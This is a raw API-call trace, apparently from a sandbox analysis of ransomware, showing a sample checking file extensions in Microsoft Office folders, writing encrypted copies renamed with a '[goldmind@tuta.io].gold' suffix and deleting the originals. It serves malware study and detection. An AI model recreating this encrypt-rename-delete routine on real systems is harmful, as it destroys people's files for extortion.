Office\\MEDIA\\OFFICE14\\OFFICE10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0099.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0099.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0099.229] lstrlenW (lpString=".doc") returned 4 [0099.229] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0099.229] lstrlenW (lpString=".docx") returned 5 [0099.229] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0099.229] lstrlenW (lpString=".pdf") returned 4 [0099.229] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0099.229] lstrlenW (lpString=".xls") returned 4 [0099.229] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0099.229] lstrlenW (lpString=".xlsx") returned 5 [0099.229] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0099.229] lstrlenW (lpString=".ppt") returned 4 [0099.229] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0099.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0099.229] lstrlenW (lpString=".zip") returned 4 [0099.229] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0099.229] lstrlenW (lpString=".rar") returned 4 [0099.229] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0099.229] lstrlenW (lpString=".bz2") returned 4 [0099.229] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0099.229] lstrlenW (lpString=".7z") returned 3 [0099.229] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0099.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0099.229] lstrlenW (lpString=".dbf") returned 4 [0099.229] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0099.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0099.229] lstrlenW (lpString=".1cd") returned 4 [0099.229] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0099.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0099.229] lstrlenW (lpString=".jpg") returned 4 [0099.229] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0099.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0099.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0099.229] lstrlenW (lpString=".doc") returned 4 [0099.229] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0099.229] lstrlenW (lpString=".docx") returned 5 [0099.229] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0099.229] lstrlenW (lpString=".pdf") returned 4 [0099.229] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0099.229] lstrlenW (lpString=".xls") returned 4 [0099.229] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0099.229] lstrlenW (lpString=".xlsx") returned 5 [0099.229] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0099.229] lstrlenW (lpString=".ppt") returned 4 [0099.229] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0099.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0099.229] lstrlenW (lpString=".zip") returned 4 [0099.229] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0099.229] lstrlenW (lpString=".rar") returned 4 [0099.229] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0099.229] lstrlenW (lpString=".bz2") returned 4 [0099.229] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0099.229] lstrlenW (lpString=".7z") returned 3 [0099.229] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0099.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0099.230] lstrlenW (lpString=".dbf") returned 4 [0099.230] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0099.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0099.230] lstrlenW (lpString=".1cd") returned 4 [0099.230] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0099.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL") returned 61 [0099.230] lstrlenW (lpString=".jpg") returned 4 [0099.230] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0099.230] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0099.230] lstrlenW (lpString="ACCOLKI.DLL") returned 11 [0099.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0099.231] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=13240) returned 1 [0099.231] CloseHandle (hObject=0x3c4) returned 1 [0099.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll")) returned 0x20 [0099.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0099.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0099.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0099.563] lstrlenW (lpString=".doc") returned 4 [0099.563] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0099.563] lstrlenW (lpString=".docx") returned 5 [0099.563] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0099.563] lstrlenW (lpString=".pdf") returned 4 [0099.563] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0099.563] lstrlenW (lpString=".xls") returned 4 [0099.563] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0099.563] lstrlenW (lpString=".xlsx") returned 5 [0099.563] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0099.563] lstrlenW (lpString=".ppt") returned 4 [0099.563] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0099.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0099.571] lstrlenW (lpString=".zip") returned 4 [0099.571] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0099.571] lstrlenW (lpString=".rar") returned 4 [0099.571] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0099.571] lstrlenW (lpString=".bz2") returned 4 [0099.571] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0099.571] lstrlenW (lpString=".7z") returned 3 [0099.571] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0099.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0099.571] lstrlenW (lpString=".dbf") returned 4 [0099.571] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0099.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0099.571] lstrlenW (lpString=".1cd") returned 4 [0099.571] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0099.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0099.571] lstrlenW (lpString=".jpg") returned 4 [0099.571] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0099.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0099.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0099.572] lstrlenW (lpString=".doc") returned 4 [0099.572] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0099.572] lstrlenW (lpString=".docx") returned 5 [0099.572] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0099.572] lstrlenW (lpString=".pdf") returned 4 [0099.572] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0099.572] lstrlenW (lpString=".xls") returned 4 [0099.572] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0099.572] lstrlenW (lpString=".xlsx") returned 5 [0099.572] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0099.572] lstrlenW (lpString=".ppt") returned 4 [0099.572] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0099.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0099.572] lstrlenW (lpString=".zip") returned 4 [0099.572] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0099.572] lstrlenW (lpString=".rar") returned 4 [0099.572] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0099.572] lstrlenW (lpString=".bz2") returned 4 [0099.572] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0099.572] lstrlenW (lpString=".7z") returned 3 [0099.572] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0099.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0099.572] lstrlenW (lpString=".dbf") returned 4 [0099.572] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0099.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0099.572] lstrlenW (lpString=".1cd") returned 4 [0099.572] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0099.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL") returned 59 [0099.572] lstrlenW (lpString=".jpg") returned 4 [0099.572] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0099.572] lstrcmpiW (lpString1=".dll", lpString2=".gold") returned -1 [0099.572] lstrlenW (lpString="BCSRuntimeRes.dll") returned 17 [0099.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0099.623] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=24960) returned 1 [0099.623] CloseHandle (hObject=0x198) returned 1 [0099.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll")) returned 0x20 [0099.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0099.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0099.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0099.683] lstrlenW (lpString=".doc") returned 4 [0099.683] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0099.683] lstrlenW (lpString=".docx") returned 5 [0099.683] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0099.683] lstrlenW (lpString=".pdf") returned 4 [0099.683] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0099.683] lstrlenW (lpString=".xls") returned 4 [0099.683] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0099.683] lstrlenW (lpString=".xlsx") returned 5 [0099.683] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0099.683] lstrlenW (lpString=".ppt") returned 4 [0099.683] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0099.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0099.683] lstrlenW (lpString=".zip") returned 4 [0099.683] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0099.683] lstrlenW (lpString=".rar") returned 4 [0099.683] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0099.683] lstrlenW (lpString=".bz2") returned 4 [0099.683] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0099.683] lstrlenW (lpString=".7z") returned 3 [0099.683] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0099.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0099.683] lstrlenW (lpString=".dbf") returned 4 [0099.683] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0099.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0099.683] lstrlenW (lpString=".1cd") returned 4 [0099.683] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0099.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0099.683] lstrlenW (lpString=".jpg") returned 4 [0099.683] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0099.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0099.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0099.683] lstrlenW (lpString=".doc") returned 4 [0099.684] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0099.684] lstrlenW (lpString=".docx") returned 5 [0099.684] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0099.684] lstrlenW (lpString=".pdf") returned 4 [0099.684] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0099.684] lstrlenW (lpString=".xls") returned 4 [0099.684] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0099.684] lstrlenW (lpString=".xlsx") returned 5 [0099.684] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0099.684] lstrlenW (lpString=".ppt") returned 4 [0099.684] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0099.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0099.684] lstrlenW (lpString=".zip") returned 4 [0099.684] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0099.684] lstrlenW (lpString=".rar") returned 4 [0099.684] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0099.684] lstrlenW (lpString=".bz2") returned 4 [0099.684] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0099.684] lstrlenW (lpString=".7z") returned 3 [0099.684] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0099.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0099.684] lstrlenW (lpString=".dbf") returned 4 [0099.684] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0099.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0099.684] lstrlenW (lpString=".1cd") returned 4 [0099.684] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0099.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65 [0099.684] lstrlenW (lpString=".jpg") returned 4 [0099.684] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0099.684] lstrcmpiW (lpString1=".VSL", lpString2=".gold") returned 1 [0099.684] lstrlenW (lpString="DBENGR.VSL") returned 10 [0099.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0100.520] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=53144) returned 1 [0100.520] CloseHandle (hObject=0x3b0) returned 1 [0100.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl")) returned 0x20 [0100.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0100.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0100.819] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.819] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0100.848] GetLastError () returned 0x0 [0100.848] ReadFile (in: hFile=0x3b0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0xcf98, lpOverlapped=0x0) returned 1 [0100.906] WriteFile (in: hFile=0x3b8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xcfa0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xcfa0, lpOverlapped=0x0) returned 1 [0100.907] ReadFile (in: hFile=0x3b0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0100.907] WriteFile (in: hFile=0x3b8, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0100.907] SetEndOfFile (hFile=0x3b8) returned 1 [0100.907] CloseHandle (hObject=0x3b8) returned 1 [0100.907] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0100.907] SetEndOfFile (hFile=0x3b0) returned 1 [0100.909] CloseHandle (hObject=0x3b0) returned 1 [0100.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0100.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl")) returned 1 [0101.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0101.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0101.121] lstrlenW (lpString=".doc") returned 4 [0101.121] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0101.121] lstrlenW (lpString=".docx") returned 5 [0101.121] lstrcmpiW (lpString1=".docx", lpString2="R.VSL") returned -1 [0101.121] lstrlenW (lpString=".pdf") returned 4 [0101.121] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0101.121] lstrlenW (lpString=".xls") returned 4 [0101.121] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0101.121] lstrlenW (lpString=".xlsx") returned 5 [0101.121] lstrcmpiW (lpString1=".xlsx", lpString2="R.VSL") returned -1 [0101.121] lstrlenW (lpString=".ppt") returned 4 [0101.121] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0101.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0101.121] lstrlenW (lpString=".zip") returned 4 [0101.121] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0101.121] lstrlenW (lpString=".rar") returned 4 [0101.121] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0101.121] lstrlenW (lpString=".bz2") returned 4 [0101.121] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0101.121] lstrlenW (lpString=".7z") returned 3 [0101.121] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0101.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0101.121] lstrlenW (lpString=".dbf") returned 4 [0101.121] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0101.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0101.121] lstrlenW (lpString=".1cd") returned 4 [0101.121] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0101.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0101.121] lstrlenW (lpString=".jpg") returned 4 [0101.121] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0101.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0101.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0101.122] lstrlenW (lpString=".doc") returned 4 [0101.122] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0101.122] lstrlenW (lpString=".docx") returned 5 [0101.122] lstrcmpiW (lpString1=".docx", lpString2="R.VSL") returned -1 [0101.122] lstrlenW (lpString=".pdf") returned 4 [0101.122] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0101.122] lstrlenW (lpString=".xls") returned 4 [0101.122] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0101.122] lstrlenW (lpString=".xlsx") returned 5 [0101.122] lstrcmpiW (lpString1=".xlsx", lpString2="R.VSL") returned -1 [0101.122] lstrlenW (lpString=".ppt") returned 4 [0101.122] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0101.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0101.122] lstrlenW (lpString=".zip") returned 4 [0101.122] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0101.122] lstrlenW (lpString=".rar") returned 4 [0101.122] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0101.122] lstrlenW (lpString=".bz2") returned 4 [0101.122] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0101.122] lstrlenW (lpString=".7z") returned 3 [0101.122] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0101.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0101.122] lstrlenW (lpString=".dbf") returned 4 [0101.122] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0101.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0101.122] lstrlenW (lpString=".1cd") returned 4 [0101.122] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0101.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0101.122] lstrlenW (lpString=".jpg") returned 4 [0101.122] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0101.122] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0101.122] lstrlenW (lpString="EXCEL_F_COL.HXK") returned 15 [0101.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0101.213] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=114) returned 1 [0101.213] CloseHandle (hObject=0x398) returned 1 [0101.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk")) returned 0x20 [0101.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0101.258] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.258] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 